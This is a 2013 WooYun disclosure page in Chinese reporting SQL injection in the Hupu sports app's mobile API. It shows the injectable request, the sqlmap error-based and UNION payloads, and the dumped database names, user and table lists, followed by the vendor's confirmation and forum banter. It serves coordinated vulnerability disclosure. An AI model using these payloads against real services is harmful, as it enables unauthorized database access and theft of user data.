当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043621

漏洞标题:APP终结者3#虎扑体育App云端Sql注入多库

相关厂商:虎扑体育网

漏洞作者: zzR

提交时间:2013-11-21 17:32

修复时间:2014-01-05 17:33

公开时间:2014-01-05 17:33

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-21: 细节已通知厂商并且等待厂商处理中
2013-11-21: 厂商已经确认,细节仅向厂商公开
2013-12-01: 细节向核心白帽子及相关领域专家公开
2013-12-11: 细节向普通白帽子公开
2013-12-21: 细节向实习白帽子公开
2014-01-05: 细节向公众公开

简要描述:

APP云端安全不闹,来乌云把爱带回家~
测试很麻烦的亲~不多说,都是泪-0-

详细说明:

App名称:虎扑看球
请求:

GET /2/3.0.0/nba/getVideo?client=53c0f8caca13ebe26b0f7d6d96efb818f9ab01a9&num=20&vid=0 HTTP/1.1
Host: games.mobileapi.hupu.com
Accept-Encoding: gzip
User-Agent: 虎扑看球 3.0.0 rv:3 (iPhone; iPhone OS 7.0.4; zh_CN)
Connection: keep-alive
Proxy-Connection: keep-alive


参数vid存在sql注入
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: vid
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: client=53c0f8caca13ebe26b0f7d6d96efb818f9ab01a9&num=20&vid=0 AND (SELECT 1083 FROM(SELE
CT COUNT(*),CONCAT(0x3a7873703a,(SELECT (CASE WHEN (1083=1083) THEN 1 ELSE 0 END)),0x3a6666663a,FLOO
R(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: client=53c0f8caca13ebe26b0f7d6d96efb818f9ab01a9&num=20&vid=0 LIMIT 0,1 UNION ALL SELECT
NULL,CONCAT(0x3a7873703a,0x51526346476c56476766,0x3a6666663a),NULL,NULL,NULL,NULL#
---
[17:14:00] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0
[17:14:00] [INFO] fetching current user
current user: 'mobile@192.168.1.%'
[17:14:01] [INFO] fetching current database
current database: 'hupu_games'

漏洞证明:

current db&user

.png



.png


available databases [2]:
[*] hupu_games
[*] information_schema


web application technology: Nginx
back-end DBMS: MySQL 5.0
[17:15:21] [INFO] fetching tables for database: 'hupu_games'
Database: hupu_games
[36 tables]
+------------------------------+
| g_client |
| g_dole |
| g_lang |
| g_nba_games |
| g_nba_games_stats |
| g_nba_playbyplay |
| g_nba_player_stats |
| g_nba_recap |
| g_nba_teams |
| g_news |
| g_news_comment |
| g_news_comment_light |
| g_nickname |
| g_prize_exchange |
| g_product |
| g_quiz |
| g_quiz_rank |
| g_quiz_rank_memo |
| g_rating |
| g_rating_detail |
| g_task |
| g_user_bag |
| g_user_balance_change_record |
| g_user_box |
| g_user_box_log |
| g_user_code |
| g_user_follow_game |
| g_user_follow_team |
| g_user_info |
| g_user_payment |
| g_user_prize |
| g_user_quiz |
| g_user_quiz_log |
| g_user_sendcode_log |
| g_user_task |
| g_video |
+------------------------------+


web application technology: Nginx
back-end DBMS: MySQL 5.0
[17:19:56] [INFO] fetching tables for database: 'information_schema'
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+


未继续深入

修复方案:

来乌云把爱带回家~

版权声明:转载请注明来源 zzR@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-11-21 17:44

厂商回复:

我们会尽快安排处理,感谢您对虎扑体育网的支持!

最新状态:

暂无


漏洞评价:

评论

  1. 2013-11-21 17:35 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    据说世界上有上亿个app……

  2. 2013-11-21 17:44 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    你关注的白帽子 zzR 发表了漏洞 APP终结者3#虎扑体育App云端Sql注入多库

  3. 2013-11-21 17:48 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    @xsser 求神算细节啊

  4. 2013-11-21 18:53 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    @寂寞的瘦子 能不能不闹!

  5. 2013-11-21 18:57 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    @xsser ♪(´ε` )肥皂已掉,只等伙伴们来捡

  6. 2013-11-21 19:36 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    @zzR 你家人要是知道了你在外面拣肥皂,他们会怎么想!@小胖子

  7. 2013-11-21 21:41 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    @寂寞的瘦子 我已把他捉回家,谢谢!